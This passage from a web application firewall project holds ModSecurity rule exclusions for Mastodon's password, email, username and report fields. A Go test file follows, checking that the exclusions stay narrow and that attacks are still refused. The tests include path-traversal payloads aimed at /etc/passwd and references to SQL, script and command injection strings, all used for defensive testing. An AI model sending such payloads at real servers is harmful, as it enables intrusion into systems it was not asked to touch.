ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
# The passwords named above skip each rule that random passwords set off, and
# so does form_challenge[current_password]: confirming the password at
# /auth/challenge, or on the two-factor settings pages that ask for it again.
SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete|two_factor_authentication(?:_methods)?)|auth)(?:/|$)" \
"id:900965,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect|form_challenge)\[current_password\]|form_delete_confirmation\[password\])$/"
SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
"id:900966,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
# The web app's reports have the JSON keys forward and forward_to_domains. A
# report forwarded to another server lists that server in forward_to_domains.
# Their names contain .forward, a file in a home folder, so 930120 refused every
# report the web app sent. The names are:
# json.forward
# json.forward_to_domains
# json.forward_to_domains.0, json.forward_to_domains.1 and so on, one per
# server, such as remote.example
SecRule REQUEST_FILENAME "@streq /api/v1/reports" \
"id:900961,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.forward/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.forward(?:_to_domains(?:\.\d+)?)?$/"
# A hashtag and a username hold only letters, digits and underscores. So the
# web app's featured hashtags and the sign-up form's username skip only 932120
# and 932260, which refused the hashtag or username python3 or powershell.
SecRule REQUEST_FILENAME "@streq /api/v1/featured_tags" \
"id:900962,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/"
SecRule REQUEST_FILENAME "@streq /auth" \
"id:900963,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^user\[account_attributes\]\[username\]$/ "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:/^user\[account_attributes\]\[username\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[account_attributes\]\[username\]$/"
# The sign-up, sign-in, password reset and account settings forms send an
# email address in user[email]. It skips 930120, 932120 and 932260, which
# refused these addresses:
# 930120: jane.profile@example.com
# 932120: powershell@example.com
# 932260: python3@example.com
# An address holds no spaces, so it keeps 932250, which needs ls -la.
SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"id:900964,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^user\[email\]$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
SecMarker END_MASTODON
+769
View File
@@ -0,0 +1,769 @@
package coreruleset_test
import (
"encoding/json"
"fmt"
"net/http"
"net/url"
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
const mastodonThreshold = 5
// mastodonStatuses is where Mastodon's apps and web app post.
const mastodonStatuses = "/api/v1/statuses"
// mastodonInbox is a Mastodon account's inbox, which other servers deliver
// to.
const mastodonInbox = "/users/admin/inbox"
// Mastodon's paths for editing a profile, for filters, for the server's
// rules and its name, for signing in, and for signing up or changing the
// password.
const (
mastodonProfile = "/api/v1/accounts/update_credentials"
mastodonFilters = "/api/v2/filters"
mastodonRules = "/admin/rules"
mastodonBranding = "/admin/settings/branding"
mastodonSignIn = "/auth/sign_in"
mastodonAccount = "/auth"
)
// Mastodon's paths for the web app's profile editor, for signing up through
// the API, for reports, and for warning presets, roles and the terms of
// service.
const (
mastodonEditor = "/api/v1/profile"
mastodonSignUp = "/api/v1/accounts"
mastodonReports = "/api/v1/reports"
mastodonPresets = "/admin/warning_presets"
mastodonRoles = "/admin/roles"
mastodonTerms = "/admin/terms_of_service/draft"
)
// Fields, as the start of a form body: a title, a comment, a password and a
// post's text.
const (
mastodonTitle = "title="
mastodonComment = "comment="
mastodonPassword = "user[password]="
mastodonStatus = "status="
)
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"mastodon"},
})
// A search, which only Mastodon's fixes let through.
search := get("/api/v2/search?q=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
// and 932260 in the query, on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonQueryFields = []string{
"/api/v1/accounts/search?q=",
"/api/v1/accounts/lookup?acct=",
"/api/v1/admin/accounts?username=",
"/api/v1/admin/accounts?display_name=",
"/api/v1/admin/accounts?email=",
"/api/v2/admin/accounts?origin=local&username=",
"/api/v2/admin/accounts?by_domain=",
"/admin/accounts?username=",
"/admin/accounts?display_name=",
"/admin/accounts?email=",
"/admin/instances?by_domain=",
"/admin/custom_emojis?shortcode=",
"/admin/tags?name=",
"/search?q=",
"/api/v2/search?q=",
"/api/v2/search?type=accounts&resolve=true&q=",
}
// mastodonBodyField is a field of a body, sent to a path with a method.
type mastodonBodyField struct{ method, target, field string }
// mastodonFormFields sends each field that skips the four rules in a form
// data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonFormFields = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, "spoiler_text="},
{http.MethodPost, mastodonStatuses, "poll[options][]="},
{http.MethodPut, "/api/v1/media/1", "description="},
{http.MethodPatch, mastodonProfile, "display_name="},
{http.MethodPatch, mastodonProfile, "note="},
{http.MethodPatch, mastodonProfile, "fields_attributes[0][name]="},
{http.MethodPatch, mastodonProfile, "fields_attributes[1][value]="},
{http.MethodPost, "/api/v1/lists", mastodonTitle},
{http.MethodPut, "/api/v1/lists/1", mastodonTitle},
{http.MethodPost, mastodonFilters, mastodonTitle},
{http.MethodPost, mastodonFilters, "keywords_attributes[][keyword]="},
{http.MethodPost, mastodonFilters, "keywords_attributes[0][keyword]="},
{http.MethodPost, mastodonFilters + "/1/keywords", "keyword="},
{http.MethodPost, "/api/v1/featured_tags", "name="},
{http.MethodPost, mastodonReports, mastodonComment},
{http.MethodPost, "/api/v1/accounts/1/note", mastodonComment},
{http.MethodPost, "/api/v1/admin/accounts/1/action", "text="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
{
http.MethodPost,
"/admin/domain_blocks",
"domain_block[private_comment]=",
},
{
http.MethodPost,
"/admin/domain_blocks",
"domain_block[public_comment]=",
},
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
{http.MethodPost, mastodonRules, "rule[text]="},
{http.MethodPost, mastodonRules, "rule[hint]="},
{http.MethodPost, "/admin/announcements", "announcement[text]="},
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
{
http.MethodPost,
mastodonBranding,
"form_admin_settings[site_short_description]=",
},
{
http.MethodPost, "/admin/settings/about",
"form_admin_settings[site_extended_description]=",
},
{http.MethodPost, "/filters", "custom_filter[title]="},
{
http.MethodPost,
"/filters",
"custom_filter[keywords_attributes][0][keyword]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[name]=",
},
{
http.MethodPost,
"/settings/applications",
"doorkeeper_application[website]=",
},
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
{
http.MethodPost,
mastodonAccount,
"user[invite_request_attributes][text]=",
},
{
http.MethodPost,
"/admin/accounts/1/action",
"admin_account_action[text]=",
},
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
{
http.MethodPost, "/admin/account_moderation_notes",
"account_moderation_note[content]=",
},
{http.MethodPost, mastodonPresets, "account_warning_preset[title]="},
{http.MethodPost, mastodonPresets, "account_warning_preset[text]="},
{http.MethodPost, mastodonRoles, "user_role[name]="},
{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
{http.MethodPost, mastodonSignUp, "reason="},
}
// mastodonPasswordForms sends each password field in a form data body, on
// a path where it skips the four rules and the rules that random passwords
// set off.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonPasswordForms = []mastodonBodyField{
{http.MethodPost, mastodonSignIn, mastodonPassword},
{http.MethodPost, mastodonAccount, mastodonPassword},
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
{http.MethodPost, mastodonAccount, "user[current_password]="},
{
http.MethodPost,
"/settings/migration",
"account_migration[current_password]=",
},
{
http.MethodPost, "/settings/migration/redirect",
"form_redirect[current_password]=",
},
{
http.MethodPost,
"/settings/delete",
"form_delete_confirmation[password]=",
},
{http.MethodPost, mastodonSignUp, passwordField},
}
// mastodonPasswordJSON sends the password of signing up through the API in
// a JSON body, with %s for its value.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mastodonPasswordJSON = mastodonBodyField{
http.MethodPost, mastodonSignUp, `{"password":%s}`,
}
// mastodonJSONFields sends each field that skips the four rules in a JSON
// body, on a path where it skips them, with %s for its value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonJSONFields = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, `{"spoiler_text":%s}`},
{http.MethodPost, mastodonStatuses, `{"poll":{"options":["Yes",%s]}}`},
{http.MethodPut, mastodonFilters + "/1", `{"title":%s}`},
{http.MethodPut, "/api/v1/media/1", `{"description":%s}`},
{
http.MethodPut, mastodonStatuses + "/1",
`{"media_attributes":[{"id":"1","description":%s}]}`,
},
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
{
http.MethodPatch,
mastodonEditor,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonEditor,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
{
http.MethodPatch,
mastodonProfile,
`{"fields_attributes":[{"name":%s}]}`,
},
{
http.MethodPatch,
mastodonProfile,
`{"fields_attributes":[{"value":%s}]}`,
},
{http.MethodPost, mastodonReports, `{"comment":%s}`},
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
{
http.MethodPost,
mastodonInbox,
`{"object":{"attachment":[{"name":%s}]}}`,
},
{
http.MethodPost,
mastodonInbox,
`{"object":{"attachment":[{"value":%s}]}}`,
},
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
}
// mastodonStatusForms and mastodonStatusJSON send a post's text, which
// skips 932125, 932230 and 932235 too: in form data, and in JSON with %s
// for its value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var (
mastodonStatusForms = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, mastodonStatus},
{http.MethodPut, mastodonStatuses + "/1", mastodonStatus},
}
mastodonStatusJSON = []mastodonBodyField{
{http.MethodPost, mastodonStatuses, `{"status":%s}`},
{http.MethodPut, mastodonStatuses + "/1", `{"status":%s}`},
}
)
// mastodonForm returns what crs finds in value, sent in sent's form data
// field.
func mastodonForm(t *testing.T, sent mastodonBodyField, value string) int {
t.Helper()
r := request{sent.method, sent.target, []string{formData}}
got, _ := inspectBody(t, readingBodies(t), r, sent.field+value)
return got.Score
}
// mastodonJSON returns what crs finds in value, which is not escaped, sent
// in sent's JSON field.
func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
t.Helper()
quoted, err := json.Marshal(value)
if err != nil {
t.Fatal(err)
}
r := request{sent.method, sent.target, []string{jsonBody}}
got, _ := inspectBody(
t,
readingBodies(t),
r,
fmt.Sprintf(sent.field, quoted),
)
return got.Score
}
// mastodonAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mastodonAttacks = []string{
sqlInjection,
"..%2F..%2F..%2Fetc%2Fpasswd",
scriptInjection,
}
// mastodonScores returns what crs finds in value, escaped as a query value,
// sent in each field that skips the four rules: in the query, in form data
// and in JSON. Bodies are read whatever crs is. Each score is keyed by where
// value was sent.
func mastodonScores(
t *testing.T, crs *coreruleset.CoreRuleSet, value string,
) map[string]int {
t.Helper()
scores := map[string]int{}
for _, target := range mastodonQueryFields {
scores[target+value] = inspect(t, crs, get(target+value)).Score
}
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(
t,
sent,
value,
)
}
unescaped, err := url.QueryUnescape(value)
if err != nil {
t.Fatal(err)
}
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(
t,
sent,
unescaped,
)
}
return scores
}
func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, attack := range mastodonAttacks {
for sent, score := range mastodonScores(t, atDefaults(t), attack) {
if score < mastodonThreshold {
t.Errorf("%s let through: %d", sent, score)
}
}
}
}
func TestMastodonPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mastodonPasswordForms {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{sent.method, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
t.Run("JSON", func(t *testing.T) {
t.Parallel()
r := request{
mastodonPasswordJSON.method,
mastodonPasswordJSON.target,
[]string{jsonBody},
}
wantRandomPasswordsPass(t, r, "password")
wantPasswordAttacksPass(t, r, "password")
wantPasswordAttacksRefused(t, r, "password")
})
}
func TestMastodonPasswordConfirmationPasses(t *testing.T) {
t.Parallel()
challenge := []string{"form_challenge[current_password]"}
wantPasswordFieldsPass(t, []passwordFields{
{"/auth/challenge", formData, challenge},
{
"/settings/two_factor_authentication/otp_authentication",
formData,
challenge,
},
{
"/settings/two_factor_authentication_methods/disable",
formData,
challenge,
},
})
}
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, target := range mastodonQueryFields {
got := inspect(t, crs, get(target+commandInjection))
if got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
}
}
for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
attack, err := url.QueryUnescape(commandInjection)
if err != nil {
t.Fatal(err)
}
passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
if mastodonJSON(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
}
// mastodonCodePost is a post that names commands in code, as recorded.
const mastodonCodePost = "Today I learned: `ls -la ~/.config` lists hidden files, " +
"and `python3 -m http.server` serves a folder. https://example.org/notes"
func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
for _, value := range hardValues {
for sent, score := range mastodonScores(t, readingBodies(t), value) {
if score >= mastodonThreshold {
t.Errorf("%s refused: %d", sent, score)
}
}
for _, sent := range mastodonPasswordForms {
if mastodonForm(t, sent, value) >= mastodonThreshold {
t.Errorf("%v with %s refused", sent, value)
}
}
}
code := url.QueryEscape(mastodonCodePost)
for _, sent := range mastodonStatusForms {
if mastodonForm(t, sent, code) >= mastodonThreshold {
t.Errorf("%v refused", sent)
}
}
for _, sent := range mastodonStatusJSON {
if mastodonJSON(t, sent, mastodonCodePost) >= mastodonThreshold {
t.Errorf("%v refused", sent)
}
}
}
// mastodonUpload is a file named .htaccess in a multipart body.
const mastodonUpload = "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
// mastodonActivityPub is the Accept header of a server looking up a link to
// a profile or a post, as recorded.
const mastodonActivityPub = `Accept: application/ld+json; ` +
`profile="https://www.w3.org/ns/activitystreams", application/activity+json, ` +
`text/html;q=0.1`
// mastodonReport is a report as the web app sends it, with %s for its
// forward value.
const mastodonReport = `{"account_id":"1","comment":"Spam","forward":%s,` +
`"forward_to_domains":[]}`
// mastodonForwardedReport is a report the web app forwards to another
// server, with %s for that server.
const mastodonForwardedReport = `{"account_id":"1","comment":"Spam","forward":true,` +
`"forward_to_domains":[%s]}`
func TestMastodonExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, refused := range []string{
"/?q=powershell",
"/api/v2/search?other=python3",
"/api/v1/timelines/home?q=python3",
"/api/v1/admin/users?username=python3",
"/admin/people?username=python3",
"/admin/reports?username=python3",
"/search/other?q=python3",
"/x/api/v2/search?q=python3",
"/admin/accounts/1?username=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < mastodonThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
// The Accept header of ActivityPub is still refused off the paths of
// Mastodon's accounts and posts.
for _, target := range []string{"/@admin", "/@admin/1", "/users/admin/statuses/1"} {
wantResult(t, crs, get(target, mastodonActivityPub), matched())
}
for _, target := range []string{"/", "/@admin/1/other", "/x/@admin"} {
wantResult(t, crs, get(target, mastodonActivityPub), matched(920600))
}
crs = readingBodies(t)
upload := request{
http.MethodPost, "/upload",
[]string{"Content-Type: multipart/form-data; boundary=b"},
}
got, _ := inspectBody(t, crs, upload, mastodonUpload)
if got.Score < mastodonThreshold {
t.Errorf("POST %s let through: %+v", upload.target, got)
}
for _, target := range []string{
"/api/v1/media", "/api/v2/media", mastodonProfile, mastodonEditor,
} {
upload.target = target
got, _ := inspectBody(t, crs, upload, mastodonUpload)
if got.Score >= mastodonThreshold {
t.Errorf("POST %s refused: %+v", target, got)
}
}
// The fields are excluded only on Mastodon's paths.
for _, sent := range []mastodonBodyField{
{http.MethodPost, "/api/v1/repos/issues", mastodonTitle},
{http.MethodPost, "/user/login", mastodonPassword},
{http.MethodPost, "/comments", mastodonStatus},
} {
if mastodonForm(t, sent, "python3") < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
for _, sent := range []mastodonBodyField{
{http.MethodPost, "/outbox", `{"object":{"content":%s}}`},
{http.MethodPost, mastodonInbox, `{"object":{"url":%s}}`},
} {
if mastodonJSON(t, sent, "python3") < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
}
func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
t.Parallel()
// A report's forward keys pass by name, and their values are still
// checked.
for _, sent := range []struct{ body, value string }{
{mastodonReport, "false"},
{mastodonForwardedReport, "remote.example"},
} {
report := mastodonBodyField{
http.MethodPost,
mastodonReports,
sent.body,
}
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
t.Errorf("%v refused: %d", report, got)
}
if got := mastodonJSON(t, report, `"../../etc/passwd"`); got < mastodonThreshold {
t.Errorf("%v with a path let through: %d", report, got)
}
report.target = mastodonStatuses
if got := mastodonJSON(t, report, sent.value); got < mastodonThreshold {
t.Errorf("%v let through: %d", report, got)
}
}
}
// mastodonUsername and mastodonHashtag are the sign-up form's username and
// the web app's featured hashtag, which skip only 932120 and 932260.
//
